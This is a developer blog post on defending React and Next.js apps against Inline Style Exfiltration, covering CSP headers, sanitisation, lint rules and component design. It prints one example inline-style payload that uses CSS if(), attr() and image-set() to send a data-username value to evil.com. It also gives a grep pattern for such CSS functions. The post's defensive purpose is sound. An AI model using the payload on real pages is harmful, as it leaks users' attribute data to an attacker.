How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)
In August 2025, Gareth Heyes (PortSwigger) demonstrated a new attack vector called Inline Style Exfiltration (ISE). Using nothing but inline styles, an attacker can exfiltrate attribute values from the DOM — no external stylesheets, no selectors.
⚠️ At the time of writing, this technique worked in Chromium-based browsers.
How the attack works
The breakthrough came with the CSS if()
function. It lets developers (and attackers) write conditional expressions inside CSS.
<div style='
--val: attr(data-username);
--steal: if(style(--val:"alice"): url(https://evil.com/alice);
else: url(https://evil.com/bob));
background: image-set(var(--steal));
' data-username="bob">Test</div>
-
attr(data-username)
extracts the attribute. -
if(style(--val:"alice") …)
checks if the value matches. -
image-set()
triggers a request to the attacker’s server when the match is found.
By chaining multiple if()
conditions, an attacker can brute-force attribute values like data-uid
or data-username
.
Why React/Next.js apps are at risk
React makes it tempting to pass props straight into style
or data-*
attributes. Combined with ISE, this can leak user IDs, usernames, or even tokens if they are accidentally exposed in DOM attributes.
Mitigation strategies
1. Never map raw user input to style
❌ Bad:
<div style={{ backgroundImage: userInput }} />
✅ Good:
const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;
Allow only whitelisted units (px
, rem
, %
) and color formats (#RRGGBB
). Strip out functions like url()
, if()
, attr()
, image-set()
, style()
.
2. Don’t store secrets in data-*
Never put IDs, emails, tokens, or roles in data-*
. Keep them in React state, context, or HttpOnly cookies.
3. Use CSP to block inline styles
Add a strict Content-Security-Policy. Critical piece: disallow style=""
attributes.
Content-Security-Policy:
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-<nonce>';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
-
style-src-attr 'none'
blocks inline style attributes. - Ideally, you’d use
style-src-elem 'nonce-...'
with nonces for<style>
tags. - In Next.js this is tricky because the framework injects its own styles.
Practical alternatives:
- Start with
style-src-elem 'self'
. - Or use hashes (
sha256-...
) for critical inline styles that Next.js generates.
👉 See official Next.js docs on CSP
In Next.js
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ')
}
];
module.exports = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
}
};
4. Sanitise user-generated HTML
If you allow Markdown or WYSIWYG editors:
- Use DOMPurify/rehype-sanitize on the server.
- Forbid
style
attributes (FORBID_ATTR: ['style']
). - If
style
must be allowed, enforce a strict allowlist (e.g.color
,font-size
only).
5. Linting & CI
- ESLint rule: forbid
dangerouslySetInnerHTML
and raw strings instyle
. - Grep/regex in CI for suspicious CSS functions (
url(
,if(
,attr(
,image-set(
). - Ensure no sensitive
data-*
attributes in JSX.
6. Component design
Expose enums or theme tokens as props, never raw CSS.
❌ Instead of:
<Button color={userInput} />
✅ Do:
<Button variant={userChoice === "danger" ? "danger" : "primary"} />
7. Monitoring
ISE often brute-forces attributes by making dozens of tiny requests (/1
, /2
, /3
).
- Use CSP
report-to
/report-uri
to catch violations. - Alert on suspicious requests in your CDN or logs.
Review checklist
- No
unsafe-inline
in CSP. -
style-src-attr 'none'
enabled. -
style-src-elem
restricted (self
, nonces, or hashes). -
img-src
andconnect-src
restricted to trusted domains. This prevents not only ISE leaks but also classic data exfiltration via<img src>
or fetch. - No raw input mapped into
style
or CSS variables. - Sensitive data not in
data-*
. - Sanitisers strip or restrict
style
. - Lint rules enforce safe patterns.
- UGC rendered in sandbox/isolated domains.
Diagram: How data-uid
leaks via ISE
Victim's browser:
<div data-uid="5">
Inline CSS conditionals:
if(data-uid="1") → /1
...
if(data-uid="5") → /5
Attacker's server:
Logs request /5
For clarity, the diagram is simplified. Real ISE uses inline style conditionals (if()
, style()
).
Conclusion
CSS is no longer “just declarative.” With if()
, it now supports conditional logic — and new risks.
For Next.js apps, the recipe is simple:
- no inline styles from data
- strict CSP with
style-src-attr 'none'
- sanitise aggressively
- design components around tokens, not raw CSS
Top comments (1)
That f-ckin awesome, no bullsh-t, top content